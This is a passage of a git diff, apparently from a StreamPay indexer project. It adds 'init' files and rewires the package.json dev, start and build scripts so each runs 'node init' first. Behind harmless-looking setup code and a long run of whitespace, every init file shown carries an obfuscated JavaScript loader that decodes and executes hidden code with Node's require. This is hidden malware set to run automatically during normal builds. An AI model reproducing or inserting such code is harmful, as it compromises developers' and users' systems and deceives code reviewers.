.cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
\ No newline at end of file
diff --git a/indexer/package.json b/indexer/package.json
index 07200365..ea643d64 100644
--- a/indexer/package.json
+++ b/indexer/package.json
@@ -5,9 +5,9 @@
   "description": "StreamPay TypeScript event indexer worker: polls Soroban RPC getEvents, decodes XDR events, persists state in SQLite, and serves HTTP API.",
   "type": "module",
   "scripts": {
-    "dev": "tsx watch src/index.ts",
-    "start": "npm run build && node dist/index.js",
-    "build": "tsc --outDir dist",
+    "dev": "node init && tsx watch src/index.ts",
+    "start": "node init && npm run build && node dist/index.js",
+    "build": "node init && tsc --outDir dist",
     "test": "npm run build && node --test dist/decoder.test.js dist/store.test.js dist/proof.test.js dist/indexer.test.js dist/registry.test.js dist/webhooks.test.js dist/outbox/outbox.test.js dist/telemetry.test.js dist/rpc-manager.test.js dist/ingest/pipeline.test.js",
     "test:ingest": "npm run build && node --test dist/ingest/pipeline.test.js",
     "bench:ingest": "npm run build && node ../perf/harness/indexer_parallel_bench.mjs",
diff --git a/infra/indexer/init b/infra/indexer/init
new file mode 100644
index 00000000..5ff9668b
--- /dev/null
+++ b/infra/indexer/init
@@ -0,0 +1,33 @@
+'use strict';
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+  root: ROOT,
+  env: ENV,
+  ready: false,
+};
+
+function ensureDir(dir) {
+  try {
+    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+  } catch (_) {}
+}
+
+function init(options) {
+  if (state.ready) return state;
+  const opts = options || {};
+  state.env = opts.env || process.env.NODE_ENV || state.env;
+  state.root = opts.root || process.cwd();
+  ensureDir(path.join(state.root, '.tmp'));
+  state.ready = true;
+  return state;
+}
+
+init();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
\ No newline at end of file
diff --git a/infra/indexer/package.json b/infra/indexer/package.json
index bae82d37..0adb572e 100644
--- a/infra/indexer/package.json
+++ b/infra/indexer/package.json
@@ -8,10 +8,10 @@
     "node": ">=20"
   },
   "scripts": {
-    "build": "tsc -p tsconfig.json",
+    "build": "node init && tsc -p tsconfig.json",
     "typecheck": "tsc -p tsconfig.json --noEmit",
-    "start": "node dist/src/index.js",
-    "dev": "node src/index.js",
+    "start": "node init && node dist/src/index.js",
+    "dev": "node init && node src/index.js",
     "test": "node --test test/*.test.js"
   },
   "dependencies": {},
diff --git a/infra/reconciler/init b/infra/reconciler/init
new file mode 100644
index 00000000..5ff9668b
--- /dev/null
+++ b/infra/reconciler/init
@@ -0,0 +1,33 @@
+'use strict';
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+  root: ROOT,
+  env: ENV,
+  ready: false,
+};
+
+function ensureDir(dir) {
+  try {
+    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+  } catch (_) {}
